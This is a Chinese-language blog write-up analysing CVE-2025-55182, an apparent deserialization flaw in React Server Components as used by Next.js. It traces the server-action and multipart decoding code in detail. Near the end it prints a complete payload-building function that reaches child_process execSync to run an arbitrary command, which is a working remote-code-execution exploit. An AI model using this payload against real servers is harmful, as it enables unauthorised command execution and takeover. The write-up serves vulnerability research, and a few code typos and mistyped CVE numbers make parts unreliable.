CVE-2025-55182深度解析#

跟完了React解析next-action头动作的全逻辑链，网上很少有全链的解析跟进

我算也是，浅浅涉足了一下React吧

1.React框架的next-action初步#

业务逻辑的跟进

关于next-action这个头，是一种函数身份的定位，也就是一串hax值，react框架构建以来，每个函数会绑定一串hax，作为标识符.

当然我的审计是从next-action的识别及后续开始的，所以我暂时不会在初步构建以及hax加密这块去做工作。

另外，为了加强文档可读性，我会较多换行。那就 START

1
if (actionId) {
2
        const forwardedWorker = (0, _actionutils.selectWorkerForForwarding)(actionId, page, serverActionsManifest);
3
        // If forwardedWorker is truthy, it means there isn't a worker for the action
4
        // in the current handler, so we forward the request to a worker that has the action.
5
        if (forwardedWorker) {
6
            return {
7
                type: 'done',
8
                result: await createForwardedActionResponse(req, res, host, forwardedWorker, ctx.renderOpts.basePath)
9
            };
10
        }
11
    }

其中selectWorkerForForwarding这个函数，溯源之后是.d.ts的声明文档，在同目录下的js文件处找到了源function。

1
function selectWorkerForForwarding(actionId, pageName, serverActionsManifest) {
2
    var _serverActionsManifest__actionId;
3
    const workers = (_serverActionsManifest__actionId = serverActionsManifest[process.env.NEXT_RUNTIME === 'edge' ? 'edge' : 'node'][actionId]) == null ? void 0 : _serverActionsManifest__actionId.workers;
4
    const workerName = normalizeWorkerPageName(pageName);
5
    // no workers, nothing to forward to
6
    if (!workers) return;
7
    // if there is a worker for this page, no need to forward it.
8
    if (workers[workerName]) {
9
        return;
10
    }
11
    // otherwise, grab the first worker that has a handler for this action id
12
    return denormalizeWorkerPageName(Object.keys(workers)[0]);
13
}

这里的serverActionManifest参数类似一张actionid和worker进程的对应表单，下面就是return，其中denormalizeWorkerPagename是返回转发路径的。

也就是说，serverActionsManifest的action匹配的workers值被赋值给workers，然后denormalizeWorkerPageName将所有对应的workers的路径返回。

1
*/ function denormalizeWorkerPageName(bundlePath) {
2
    return (0, _apppaths.normalizeAppPath)((0, _removepathprefix.removePathPrefix)(bundlePath, 'app'));
3
}

接下来就是1返回的createForwardedActionResponse，简化的最终请求就是

1
const response = await fetch(fetchUrl, {
2
            method: 'POST',
3
            body,
4
            duplex: 'half',
5
            headers: forwardedHeaders,
6
            redirect: 'manual',
7
            next: {
8
                // @ts-ignore
9
                internal: 1
10
            }
11
        });

body经过strearm之后可以分块读取数据，body是我们的req，headers是扒res的cookie之类的字段送过去

1
const forwardedHeaders = getForwardedHeaders(req, res);

以上，next-action的前置分析完成，再者就到了action的server接收以及解析。

2.action转发处理#

我会叙述multipart多块在进行worker转发之后的处理情况。

因为转发之后会带x-action-forwarded。那么就走的是handler-action的

isFetchAction分支，以下是如此分支的源码

因为分支有有效的有8段，以下会一一赘述

1
if (isFetchAction) {
2
                        // A fetch action with a multipart body.
3
                        boundActionArguments = await decodeReply(formData, serverModuleMap, {
4
                            temporaryReferences
5
                        });

依旧异步函数，等待decodeReply的return

1
if (isMultipartAction) {
2
                    if (isFetchAction) {
3
                        // A fetch action with a multipart body.
4
                        const busboy = require('next/dist/compiled/busboy')({
5
                            defParamCharset: 'utf8',
6
                            headers: req.headers,
7
                            limits: {
8
                                fieldSize: bodySizeLimitBytes
9
                            }
10
                        });

在这里走了多表单的分支，引入了busboy，这样可以以boundary分界之后进行解析。但是这里只是引入该行为，动作在后面。limit规定包大小范围

1
if (isFetchAction) {
2
                const actionResult = await generateFlight(req, ctx, requestStore, {
3
                    actionResult: Promise.resolve(returnVal),
4
                    // if the page was not revalidated, or if the action was forwarded from another worker, we can skip the rendering the flight tree
5
                    skipFlight: !workStore.pathWasRevalidated || actionWasForwarded,
6
                    temporaryReferences
7
                });
8
                return {
9
                    type: 'done',
10
                    result: actionResult
11
                };

这里因为不明白returnVal变量是什么，我们进行溯源。查找到returnVal是一个调用actionmod进行fetch的，也就是module，而查找其的函数如下

1
function getActionModIdOrError(actionId, serverModuleMap) {
2
    var _serverModuleMap_actionId;
3
    // if we're missing the action ID header, we can't do any further processing
4
    if (!actionId) {
5
        throw Object.defineProperty(new _invarianterror.InvariantError("Missing 'next-action' header."), "__NEXT_ERROR_CODE", {
6
            value: "E664",
7
            enumerable: false,
8
            configurable: true
9
        });
10
    }
11
    const actionModId = (_serverModuleMap_actionId = serverModuleMap[actionId]) == null ? void 0 : _serverModuleMap_actionId.id;
12
    if (!actionModId) {
13
        throw Object.defineProperty(new Error(`Failed to find Server Action "${actionId}". This request might be from an older or newer deployment.\nRead more: https://nextjs.org/docs/messages/failed-to-find-server-action`), "__NEXT_ERROR_CODE", {
14
            value: "E665",
15
            enumerable: false,
16
            configurable: true
17
        });
18
    }
19
    return actionModId;

在modluemap中找到action对应的modlue，然后返回hax。紧接着就是

const actionMod = await ComponentMod.next_app.require(actionModId);

如此对这个modlue进行异步include操作，也就是一定会回状态。

actionHandler = actionMod[actiomid]

接着这个modlue状态被用于参数actionHandler

1
const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=>{
2
                addRevalidationHeader(res, {
3
                    workStore,
4
                    requestStore
5
                });

这里executeActionAndPrepareForRender将action的modlue挂到状态上进行fetch server action，然后await结果。回到3

最后return的是包装完的flight数据流。也就是actionResult。

如此一来，action和表单的处理就完成了，也就是从二次转发到结束返回RSC数据的全流程，但是还差最后的，也就是busboy解析完成的字段。

最后返回的RSC数据流actionResult由Promise.resolve(returnVal)，req,ctx,requeststore包装成flight.

其中的returnval逻辑

1
const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=>{
2
                addRevalidationHeader(res, {
3
                    workStore,
4
                    requestStore
5
                });
6
            });

executeActionAndPrepareForRender函数将这些参数变量包装成响应格式返回，actionHandler有对应的模块信息，boundActionArguments便是muiltpart进busboy后过decodeReplyFromBusboy解析的结果。

至于我们的目标，也就是RCE，也发生在这一块。

3.muiltpart的server解析#

1
if (isFetchAction) {
2
                        // A fetch action with a multipart body.
3
                        const busboy = require('next/dist/compiled/busboy')({
4
                            defParamCharset: 'utf8',
5
                            headers: req.headers,
6
                            limits: {
7
                                fieldSize: bodySizeLimitBytes
8
                            }
9
                        });
10
                        // We need to use `pipeline(one, two)` instead of `one.pipe(two)` to propagate size limit errors correctly.
11
                        pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback.
12
                        // We'll propagate the errors properly when consuming the stream.
13
                        ()=>{});
14
                        boundActionArguments = await decodeReplyFromBusboy(busboy, serverModuleMap, {
15
                            temporaryReferences
16
                        });

前置我们已知busboy过decodeReplyFromBusboy解析后返回了boundActionArguments，body被pipeline进了busboy，这里busboy处理逻辑不做赘述。

因为

1
 pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback.
2
                        // We'll propagate the errors properly when consuming the stream.
3
                        ()=>{});

所以参数busboy是作为流式数据源，serverModuleMap便是函数的映射表。

我们接着溯源到函数decodeReplyFromBusboy

1
exports.decodeReplyFromBusboy = function (
2
      busboyStream,
3
      webpackMap,
4
      options
5
    ) {
6
      var response = createResponse(
7
          webpackMap,
8
          "",
9
          options ? options.temporaryReferences : void 0
10
        ),
11
        pendingFiles = 0,
12
        queuedFields = [];
13
      busboyStream.on("field", function (name, value) {
14
        0 < pendingFiles
15
          ? queuedFields.push(name, value)
16
          : resolveField(response, name, value);
17
      });
18
      busboyStream.on("file", function (name, value, _ref2) {
19
        var filename = _ref2.filename,
20
          mimeType = _ref2.mimeType;
21
        if ("base64" === _ref2.encoding.toLowerCase())
22
          throw Error(
23
            "React doesn't accept base64 encoded file uploads because we don't expect form data passed from a browser to ever encode data that way. If that's the wrong assumption, we can easily fix it."
24
          );
25
        pendingFiles++;
26
        var JSCompiler_object_inline_chunks_251 = [];
27
        value.on("data", function (chunk) {
28
          JSCompiler_object_inline_chunks_251.push(chunk);
29
        });
30
        value.on("end", function () {
31
          var blob = new Blob(JSCompiler_object_inline_chunks_251, {
32
            type: mimeType
33
          });
34
          response._formData.append(name, blob, filename);
35
          pendingFiles--;
36
          if (0 === pendingFiles) {
37
            for (blob = 0; blob < queuedFields.length; blob += 2)
38
              resolveField(
39
                response,
40
                queuedFields[blob],
41
                queuedFields[blob + 1]
42
              );
43
            queuedFields.length = 0;
44
          }
45
        });
46
      });
47
      busboyStream.on("finish", function () {
48
        close(response);
49
      });
50
      busboyStream.on("error", function (err) {
51
        reportGlobalError(response, err);
52
      });
53
      return getChunk(response, 0);
54
    };

接收的busboystream便是busboy对象输出的数据流，webpackMap也就是映射，便是serverModuleMap，只是换了个名字。

接下来便是busboystream输出的分块表单，进行回调函数处理，并且设置了队列queuedFields

1
      busboyStream.on("field", function (name, value) {
2
        0 < pendingFiles
3
          ? queuedFields.push(name, value)
4
          : resolveField(response, name, value);
5
      });

4是控制field字段的队列，下面都是针对data为file情况的解析。

目光拉回creatResponse

1
      var response = createResponse(
2
          webpackMap,
3
          "",
4
          options ? options.temporaryReferences : void 0
5
        ),

溯源:

1
function createResponse(
2
      bundlerConfig,
3
      formFieldPrefix,
4
      temporaryReferences
5
    ) {
6
      var backingFormData =
7
          3 < arguments.length && void 0 !== arguments[3]
8
            ? arguments[3]
9
            : new FormData(),
10
        chunks = new Map();
11
      return {
12
        _bundlerConfig: bundlerConfig,
13
        _prefix: formFieldPrefix,
14
        _formData: backingFormData,
15
        _chunks: chunks,
16
        _closed: !1,
17
        _closedReason: null,
18
        _temporaryReferences: temporaryReferences
19
      };
20
    }

webpackMap作为bundlerconfig传入，校验之后创建new formdata()对象

变量在这里再次更新后return

bundlerconfig,也就是webpackmap=_bundlerconfig。 _chunks变为new Map()对象.

_prefix为空字符串。

最后在这些状态挂在response对象的情况下进行getchunk

1
return getChunk(response, 0);

并且注意到挂载队列的处理函数是resolveField

溯源

1
function resolveField(response, key, value) {
2
      response._formData.append(key, value);
3
      var prefix = response._prefix;
4
      key.startsWith(prefix) &&
5
        ((response = response._chunks),
6
        (key = +key.slice(prefix.length)),
7
        (prefix = response.get(key)) && resolveModelChunk(prefix, value, key));
8
    }

这里response已经是挂载成一个集函数map的对象了，并且prefix因为是空字符恒成立，并且将response挂载为chunks

这里的chunks为一个空的对象。上面的key就是name字段，而response便是多表单为解析的空map()对象

这里区分一下，createResponse行为相对是单次的，而resolveField是每次表单执行一次

阶段来说。代码块8的response是有formdata和map两个空对象的

每次都将key和value字段存入formdata。但是另外的chunk开始是空的，也就是取不到key。

也就进不了resolveModelChunk分支。

但是每次decodeReplyFromBusboy结束前都会进一次getchunk。

继续跟进吧

4.表单核心解析#

源码如下

1
function getChunk(response, id) {
2
      var chunks = response._chunks,
3
        chunk = chunks.get(id);
4
      chunk ||
5
        ((chunk = response._formData.get(response._prefix + id)),
6
        (chunk =
7
          null != chunk
8
            ? new Chunk("resolved_model", chunk, id, response)
9
            : response._closed
10
              ? new Chunk("rejected", null, response._closedReason, response)
11
              : createPendingChunk(response)),
12
        chunks.set(id, chunk));
13
      return chunk;
14
    }

如此return的是一个chunk对象，并且会将它set进chunks，也就是_chunks块中。

也就是说，会将response=>也就是挂载了很多空或非空状态的对象挂载在对象chunk上。

并且chunk挂载在对象chunks上，chunks对应了挂载在response上的_chunks。

也就是说，这是一个循环引用。这样chunk引用也需要访问response的上下文，可以避免数据多次循环传输

也就是说，一个集合对象被循环挂载了，身上属性有id,chunk,以及response。

这里作为参数的chunk其实是来自formdata的字段值。最后return chunk(或者正在pending中)

然后回到函数resolveField

因为response和chunk对象是循环引用的，所以response.get(key)，而key在这里又是name

又因为，每次都是一个新的状态，name对应的值对这条路来说是一次性的。

所以get到对应的chunk，赋值给prefix。

接下来就是esolveModelChunk(prefix, value, key));

value是name的值，key是name字段，prefix是chunk对象

1
function resolveModelChunk(chunk, value, id) {
2
      if ("pending" !== chunk.status)
3
        (chunk = chunk.reason),
4
          "C" === value[0]
5
            ? chunk.close("C" === value ? '"$undefined"' : value.slice(1))
6
            : chunk.enqueueModel(value);
7
      else {
8
        var resolveListeners = chunk.value,
9
          rejectListeners = chunk.reason;
10
        chunk.status = "resolved_model";
11
        chunk.value = value;
12
        chunk.reason = id;
13
        if (null !== resolveListeners)
14
          switch ((initializeModelChunk(chunk), chunk.status)) {
15
            case "fulfilled":
16
              wakeChunk(resolveListeners, chunk.value);
17
              break;
18
            case "pending":
19
            case "blocked":
20
            case "cyclic":
21
              if (chunk.value)
22
                for (value = 0; value < resolveListeners.length; value++)
23
                  chunk.value.push(resolveListeners[value]);
24
              else chunk.value = resolveListeners;
25
              if (chunk.reason) {
26
                if (rejectListeners)
27
                  for (value = 0; value < rejectListeners.length; value++)
28
                    chunk.reason.push(rejectListeners[value]);
29
              } else chunk.reason = rejectListeners;
30
              break;
31
            case "rejected":
32
              rejectListeners && wakeChunk(rejectListeners, chunk.reason);
33
          }
34
      }
35
    }

在chunk并不是pending状态下给chunk赋予多个属性

并且当value不为null时，调用函数initializeModelChunk

1
function initializeModelChunk(chunk) {
2
      var prevChunk = initializingChunk,
3
        prevBlocked = initializingChunkBlockedModel;
4
      initializingChunk = chunk;
5
      initializingChunkBlockedModel = null;
6
      var rootReference =
7
          -1 === chunk.reason ? void 0 : chunk.reason.toString(16),
8
        resolvedModel = chunk.value;
9
      chunk.status = "cyclic";
10
      chunk.value = null;
11
      chunk.reason = null;
12
      try {
13
        var rawModel = JSON.parse(resolvedModel),
14
          value = reviveModel(
15
            chunk._response,
16
            { "": rawModel },
17
            "",
18
            rawModel,
19
            rootReference
20
          );
21
        if (
22
          null !== initializingChunkBlockedModel &&
23
          0 < initializingChunkBlockedModel.deps
24
        )
25
          (initializingChunkBlockedModel.value = value),
26
            (chunk.status = "blocked");
27
        else {
28
          var resolveListeners = chunk.value;
29
          chunk.status = "fulfilled";
30
          chunk.value = value;
31
          null !== resolveListeners && wakeChunk(resolveListeners, value);
32
        }

这里已经到达核心了，重点就是chunk的value，也就是name的value被带进了函数reviveModel

跟进

1
function reviveModel(response, parentObj, parentKey, value, reference) {
2
      if ("string" === typeof value)
3
        return parseModelString(
4
          response,
5
          parentObj,
6
          parentKey,
7
          value,
8
          reference
9
        );
10
      if ("object" === typeof value && null !== value)
11
        if (
12
          (void 0 !== reference &&
13
            void 0 !== response._temporaryReferences &&
14
            response._temporaryReferences.set(value, reference),
15
          Array.isArray(value))
16
        )
17
          for (var i = 0; i < value.length; i++)
18
            value[i] = reviveModel(
19
              response,
20
              value,
21
              "" + i,
22
              value[i],
23
              void 0 !== reference ? reference + ":" + i : void 0
24
            );
25
        else
26
          for (i in value)
27
            hasOwnProperty.call(value, i) &&
28
              ((parentObj =
29
                void 0 !== reference && -1 === i.indexOf(":")
30
                  ? reference + ":" + i
31
                  : void 0),
32
              (parentObj = reviveModel(
33
                response,
34
                value,
35
                i,
36
                value[i],
37
                parentObj
38
              )),
39
              void 0 !== parentObj ? (value[i] = parentObj) : delete value[i]);
40
      return value;
41
    }

五个参数分别是(

1
            chunk._response,
2
            { "": rawModel },
3
            "",
4
            rawModel,
5
            rootReference
6
          )

rawModel就是上述的value。

这里走的string。进入value前缀特殊处理

1
function parseModelString(response, obj, key, value, reference) {
2
      if ("$" === value[0]) {
3
        switch (value[1]) {
4
          case "$":
5
            return value.slice(1);
6
          case "@":
7
            return (
8
              (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
9
            );
10
          case "F":
11
            return (
12
              (value = value.slice(2)),
13
              (value = getOutlinedModel(
14
                response,
15
                value,
16
                obj,
17
                key,
18
                createModel
19
              )),
20
              loadServerReference$1(
21
                response,
22
                value.id,
23
                value.bound,
24
                initializingChunk,
25
                obj,
26
                key
27
              )
28
            );
29
          case "T":
30
            if (
31
              void 0 === reference ||
32
              void 0 === response._temporaryReferences
33
            )
34
              throw Error(
35
                "Could not reference an opaque temporary reference. This is likely due to misconfiguring the temporaryReferences options on the server."
36
              );
37
            return createTemporaryReference(
38
              response._temporaryReferences,
39
              reference
40
            );
41
          case "Q":
42
            return (
43
              (value = value.slice(2)),
44
              getOutlinedModel(response, value, obj, key, createMap)
45
            );
46
          case "W":
47
            return (
48
              (value = value.slice(2)),
49
              getOutlinedModel(response, value, obj, key, createSet)
50
            );
51
          case "K":
52
            obj = value.slice(2);
53
            var formPrefix = response._prefix + obj + "_",
54
              data = new FormData();
55
            response._formData.forEach(function (entry, entryKey) {
56
              entryKey.startsWith(formPrefix) &&
57
                data.append(entryKey.slice(formPrefix.length), entry);
58
            });
59
            return data;
60
          case "i":
61
            return (
62
              (value = value.slice(2)),
63
              getOutlinedModel(response, value, obj, key, extractIterator)
64
            );
65
          case "I":
66
            return Infinity;
67
          case "-":
68
            return "$-0" === value ? -0 : -Infinity;
69
          case "N":
70
            return NaN;
71
          case "u":
72
            return;
73
          case "D":
74
            return new Date(Date.parse(value.slice(2)));
75
          case "n":
76
            return BigInt(value.slice(2));
77
        }
78
        switch (value[1]) {
79
          case "A":
80
            return parseTypedArray(response, value, ArrayBuffer, 1, obj, key);
81
          case "O":
82
            return parseTypedArray(response, value, Int8Array, 1, obj, key);
83
          case "o":
84
            return parseTypedArray(response, value, Uint8Array, 1, obj, key);
85
          case "U":
86
            return parseTypedArray(
87
              response,
88
              value,
89
              Uint8ClampedArray,
90
              1,
91
              obj,
92
              key
93
            );
94
          case "S":
95
            return parseTypedArray(response, value, Int16Array, 2, obj, key);
96
          case "s":
97
            return parseTypedArray(response, value, Uint16Array, 2, obj, key);
98
          case "L":
99
            return parseTypedArray(response, value, Int32Array, 4, obj, key);
100
          case "l":
101
            return parseTypedArray(response, value, Uint32Array, 4, obj, key);
102
          case "G":
103
            return parseTypedArray(response, value, Float32Array, 4, obj, key);
104
          case "g":
105
            return parseTypedArray(response, value, Float64Array, 8, obj, key);
106
          case "M":
107
            return parseTypedArray(response, value, BigInt64Array, 8, obj, key);
108
          case "m":
109
            return parseTypedArray(
110
              response,
111
              value,
112
              BigUint64Array,
113
              8,
114
              obj,
115
              key
116
            );
117
          case "V":
118
            return parseTypedArray(response, value, DataView, 1, obj, key);
119
          case "B":
120
            return (
121
              (obj = parseInt(value.slice(2), 16)),
122
              response._formData.get(response._prefix + obj)
123
            );
124
        }
125
        switch (value[1]) {
126
          case "R":
127
            return parseReadableStream(response, value, void 0);
128
          case "r":
129
            return parseReadableStream(response, value, "bytes");
130
          case "X":
131
            return parseAsyncIterable(response, value, !1);
132
          case "x":
133
            return parseAsyncIterable(response, value, !0);
134
        }
135
        value = value.slice(1);
136
        return getOutlinedModel(response, value, obj, key, createModel);
137
      }
138
      return value;
139
    }

划出重点

1
case "$": return value.slice(1);
2
case "@":
3
  obj = parseInt(value.slice(2), 16);
4
  return getChunk(response, obj);
5
case "F":
6
  value = value.slice(2);
7
  value = getOutlinedModel(response, value, obj, key, createModel);
8
  return loadServerReference$1(
9
    response,
10
    value.id,
11
    value.bound,
12
    initializingChunk,
13
    obj,
14
    key
15
  );

这里的value第二位为F时的逻辑可以重点看看，取用name的值的第三位，去进行一个getOutlineModel

其中参数可以看看我的注释。

接着上文看看函数getOutlinedModel

1
    function getOutlinedModel(response, reference, parentObject, key, map) {
2
      reference = reference.split(":");
3
      var id = parseInt(reference[0], 16);
4
      id = getChunk(response, id);
5
      switch (id.status) {
6
        case "resolved_model":
7
          initializeModelChunk(id);
8
      }
9
      switch (id.status) {
10
        case "fulfilled":
11
          parentObject = id.value;
12
          for (key = 1; key < reference.length; key++)
13
            parentObject = parentObject[reference[key]];
14
          return map(response, parentObject);
15
        case "pending":
16
        case "blocked":
17
        case "cyclic":
18
          var parentChunk = initializingChunk;
19
          id.then(
20
            createModelResolver(
21
              parentChunk,
22
              parentObject,
23
              key,
24
              "cyclic" === id.status,
25
              response,
26
              map,
27
              reference
28
            ),
29
            createModelReject(parentChunk)
30
          );
31
          return null;
32
        default:
33
          throw id.reason;
34
      }
35
    }

这里选择在getchunk里再跑一便返回过了处理的id和上下文response，相当于校验一遍。

然后确认renturn后的id状态，如果已经resolve就返回

这里也许有人会怀疑重复解析的问题，因为initializeModelChunk是传入的原点。

但是这忽略了value的再次引用重复解析，比如$2。

传入一次就会再次解析一次，一直到solve。接着

分支fulfilled可以看到它在遍历我们的value，取值并且在map中转为统一格式。这条分支是已经解析完值取值的分支

看pending/blocked/cyclic分支，也就是没轮到块解析时，

会给chunk占位。看看处理函数的参数意味

1
createModelResolver(
2
  parentChunk,     // 谁在等（当前初始化的 chunk，比如 chunk8）
3
  parentObject,    // 要回填的那个对象（比如 chunk8.value 里的某个对象）
4
  key,             // 回填的字段名（比如 "_response" 或者数组下标）
5
  "cyclic" === id.status, // 这次等待是否因为环（true/false）
6
  response,        // 解码上下文（包含 _chunks/_formData/_prefix 等）
7
  map,             // 映射函数（把取到的值进一步 revive/包装）
8
  reference        // 引用路径数组，比如 ["7"] 或 ["2","then"]
9
) {
10
      if (initializingChunkBlockedModel) {
11
        var blocked = initializingChunkBlockedModel;
12
        cyclic || blocked.deps++;
13
      } else
14
        blocked = initializingChunkBlockedModel = {
15
          deps: cyclic ? 0 : 1,
16
          value: null
17
        };
18
      return function (value) {
19
        for (var i = 1; i < path.length; i++) value = value[path[i]];
20
        parentObject[key] = map(response, value);
21
        "" === key &&
22
          null === blocked.value &&
23
          (blocked.value = parentObject[key]);
24
        blocked.deps--;
25
        0 === blocked.deps &&
26
          "blocked" === chunk.status &&
27
          ((value = chunk.value),
28
          (chunk.status = "fulfilled"),
29
          (chunk.value = blocked.value),
30
          null !== value && wakeChunk(value, blocked.value));
31
      };
32
    }

这里是算block的依赖的，如果依赖被使用就欠着。如果 deps==0，就把父 chunk 从 blocked 变 fulfilled，并唤醒等待它的人。

导致模型可以调用，进一步导致了可以绕过waf，比如prototype和construct

等。进一步加深了CVE-2025-55812的危害，以及衍生的55813等等。

1
function get_payload_body(cmd) {
2
  const s = JSON.stringify.bind(JSON);
3
  const payload = {
4
    0: {
5
      "status": "resolved_model",
6
      "then": "$1:then",
7
      "_response": "$5",
8
      "value": s({
9
        "_preloads": ["$8"],
10
        "then": "$2:map",
11
        "0": "$a",
12
        "length": 1
13
      }),
14
      "reason": 0,
15
    },
16
    1: "$@0",
17

18
    // array
19
    2: [],
20

21
    // _temporaryReferences
22
    3: {
23
      "length": 0,
24
      "set": "$2:push"
25
    },
26

27
    // Module._load
28
    4: {
29
      "id": "foo",
30
      "bound": ["child_process"]
31
    },
32
    5: {
33
      "_bundlerConfig": {
34
        "foo": { "id": "module", "name": "_load", "chunks": [] }
35
      },
36
      "_prefix": "$1:_response:_prefix",
37
      "_formData": "$1:_response:_formData",
38
      "_chunks": "$1:_response:_chunks"
39
    },
40
    6: "$F4",
41

42
    // fake response for getting child_process
43
    7: {
44
      "_prefix": "",
45
      "_chunks": "$1:_response:_chunks",
46
      "_formData": {
47
        "get": "$6",
48
      }
49
    },
50
    8: {
51
      "_prefix": "",
52
      "_chunks": "$1:_response:_chunks",
53
      "_formData": "$1:_response:_formData",
54
      // use _temporaryReferences to push all reason, used to deliver child_process
55
      "_temporaryReferences": "$3",
56
    },
57
    9: {
58
      "_prefix": `${cmd} ; #`,
59
      "_chunks": "$1:_response:_chunks",
60
      "_formData": {
61
        "get": "$3:1:execSync", // execSync
62
      },
63
    },
64
    10: {
65
      "status": "resolved_model",
66
      "then": "$1:then",
67
      "_response": "$7",
68
      "reason": -1,
69
      "value": s({
70
        "status": "resolved_model",
71
        "then": "$1:then",
72
        "reason": {
73
          "0": "$B33", // emit, reason will be child_process
74
          "length": 1,
75
          "toString": "$2:pop"
76
        },
77
        "_response": "$8", // reason will be stored in _temporaryReferences
78
        "value": s({
79
          "status": "resolved_model",
80
          "then": "$1:then",
81
          "_response": "$9",
82
          "reason": -1,
83
          "value": s(["$B77"]), // emit result
84
        }),
85
      }),
86
    },
87
  }
88

89
  const formdata = newFormData();
90
  for (const [key, value] ofObject.entries(payload)) {
91
    formdata.append(key, s(value));
92
  }
93

94
  return formdata;
95
}

0块占位之后，让1引用0未解析的原片段，然后这样可以进入pending分支，这样

可以启动时稳定路径。然后就是一步步用chunk去改映射，然后拿到可以执行命令的对象。

大体上的核心反序列也就是调用.then和chunk对象的映射。

跟这么长的链子花了我不少功夫，但也不失一些乐趣吧，今天还是情人节~

もし，人と人繋がっていたら,

Then I should be in that golden wheat field

My Dear MoMoru

萦梦sora~Nyaの安全Blog

CVE-2025-55182深度解析#

1.React框架的next-action初步#

2.action转发处理#

3.muiltpart的server解析#

4.表单核心解析#